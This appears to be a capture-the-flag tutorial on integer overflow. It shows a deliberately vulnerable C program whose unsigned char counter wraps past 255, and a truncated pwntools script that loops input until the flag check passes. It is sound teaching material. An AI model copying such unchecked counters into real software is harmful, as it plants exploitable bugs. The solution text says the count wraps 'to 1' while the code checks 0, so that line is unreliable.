Integer Overflow

Integer Underflow #

Description #

Integers have a maximum size, and if you go past the maximum size, it becomes a small number (either negative or zero).

For example, a single (unsigned) byte has a maximum value of 255. Adding one to the byte will set the value to 0, not 256.

The largest (unsigned) values for ints (4 bytes) and longs (8 bytes) are 4294967295 and 18446744073709551615 respectively. (roughly 2^32 and 2^64).

Example #

#include <stdio.h>
#include <string.h>
// gcc -g -o chal chal.c

int main() {
    puts("Welcome to our user email sweepstake!");
    puts("Only the first user gets the flag.");

    unsigned char count = 5;  // hehe, start count at 5 so we don't have to pay out the flag ( •̀ᴗ•́ )
    char email[32];

    while (1) {
        puts("Enter email: ");
        fgets(email, 31, stdin);
        email[strcspn(email, "\n")] = 0;

        if (count == 0) {
            printf("Congrats %s, you are the first user (count=%d).\n", email, count);
            return 0;
        } else {
            printf("Sorry %s, you are not the first user (count=%d). No flag for you.\n", email, count);


Solution #

We just send input until the count wraps around to 1.

Solve Script #

import pwn

p = pwn.process("./chal")

while True:
    p.sendlineafter(b"email: \n", b"")
    line = p.recvline()

    if b"Congrats" in line:

Files #